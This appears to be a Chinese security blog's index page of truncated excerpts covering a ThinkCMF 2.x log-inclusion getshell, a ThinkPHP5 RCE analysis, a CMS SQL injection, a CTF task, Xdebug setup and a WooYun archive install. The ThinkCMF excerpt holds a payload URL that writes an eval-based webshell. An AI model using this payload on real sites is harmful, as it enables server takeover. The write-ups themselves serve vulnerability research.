ThinkCMF缓存getshell
前一阵子接到个项目,目标站是thinkCMF2.X搭建的,试过网上很多方法无法拿下,本地搭了个环境测试了下,最终成功拿下
由于thinkcmf2.x使用了thinkphp3.x作为开发框架,默认情况下启用了报错日志并且开启了模板缓存,导致可以使用加载一个不存在的模板来将生成一句话的PHP代码写入data/runtime/Logs/Portal目录下的日志文件中,再次包含该日志文件即可在网站根目录下生成一句话木马m.php
日志文件格式为YY_MM_DD.log,如当前日期为2019年12月12日,日志文件为19_12_12.log,完整路径为data/runtime/Logs/Portal/19_12_12.log
测试成功的环境Linux
宝塔[PHP7.2]
Windwos
PHPstudy PHP7.1
Payload1:首先访问http://target.domain/?a=display&templateFile=%3C?php%20file_put_contents(%27m.php%27,%27%3C%3fphp+eval($_POST[%22X%22]) ...
一个CTF题
前些日子一打CTF的朋友发了个PHP文件给我,让我帮着看看
evil.php
<?php/*下面是被黑客修改过的文件,请下载并将其中可能存在问题的地方进行修复,上传修复后的结果,若修复正确,你将得到Flag。*/$action = $_REQUEST['action'];if ($action == 'php_info') { phpinfo();} else if ($action == 'exitmeeting') { $content = '您已成功退出群!'; $data = array("touser" => "$openid", "msgtype" => "text", "text" => array("content" => "$content")); if (!e ...
ThinkPHP5多个RCE+文件写入漏洞
ThinkPHP漏洞 跟着大佬学习下
摘要近日thinkphp团队发布了版本更新https://blog.thinkphp.cn/869075 ,其中修复了一处getshell漏洞。
影响范围5.x < 5.1.31<= 5.0.23
危害远程代码执行
漏洞分析以下漏洞分析源于斗鱼SRC公众号:斗鱼安全应急响应中心分析补丁:802f284bec821a608e7543d91126abc5901b2815路由信息中controller的部分进行了过滤,可知问题出现在路由调度时。以5.1.23版本进行分析,执行路由调度的代码如下:其中使用了$this->app->controller方法来实例化控制器,然后调用实例中的方法。跟进controller方法:其中通过parseModuleAndClass方法解析出$module和$class,然后实例化$class。rseModuleAndClass方法中,当$name以反斜线\开始时直接将其作为类名。利用命名空间的特点,如果可以控制此处的$name(即路由中的controller部分),那么就可以实例化任何 ...
Sublime Text 3搭建PHP Debug环境
记录下搭建PHP的Debug环境
笔者已转VSCode,本文可能已失效
本机环境环境如下
PHP:7.1
OS:Windows 10
IDE:Sublime Text 3
步骤下载Xdebug到https://xdebug.org/download.php 下载最新版的XDebug文件。下载之后改名为php_xdebug.dll(不改名也不影响)放到PHP7根目录下的ext子目录下。如果不知道该下载哪个,可以到https://xdebug.org/wizard.php 粘贴phpinfo的内容自动分析
配置PHP修改PHP7根目录下的php.ini文件,在最后添加如下代码
[xdebug]zend_extension = C:\AppServ\php7\ext\php_xdebug-2.6.1-7.1-vc14-x86_64.dllxdebug.remote_enable=truexdebug.collect_params=1xdebug.collect_return=1xdebug.collect_vars=1xdebug.collect_assignments=1xdebu ...
建站之星v2.7SQL注入
CTF比赛中出了这个CMS的题 下载回源码看了下
问题出在module/mod_email.php第147行左右
public function do_mail(){ global $db; $title = ParamHolder::get("title"); $msg = ParamHolder::get("email_s"); $msg .= ParamHolder::get("email_m"); $roles = ParamHolder::get("role"); $type = ParamHolder::get("type"); $user_email = ParamHolder::get('users'); $send_id = SessionHolder::get("user/id"); $time = time(); $ok = 0; ...
搭建乌云漏洞库+知识库
乌云2年多了。。突发奇想在内网搭建个知识库+漏洞库
准备为了方便,我用了Windows服务器,详细配置如下
服务器配置
Windows Server 2016 DCApache 2.4.25PHP 5.6.30MySQL 5.7.17-log
所需文件下载地址
知识库:链接:https://pan.baidu.com/s/1CZVZxdHzl7L8y3dGWN-aOQ提取码:uuuo漏洞库链接:https://pan.baidu.com/s/1LGSwDmVwtlffyM8I-1hQzw提取码:8duw
步骤漏洞库
将漏洞库中的wooyun目录下所有文件移入mysql的data目录,然后查看数据库中是否存在名称为wooyun的数据库库和bugs、whitehats的数据表mysql> SHOW DATABASES;+--------------------+| Database |+--------------------+| information_schema || mysql || performance_schema | ...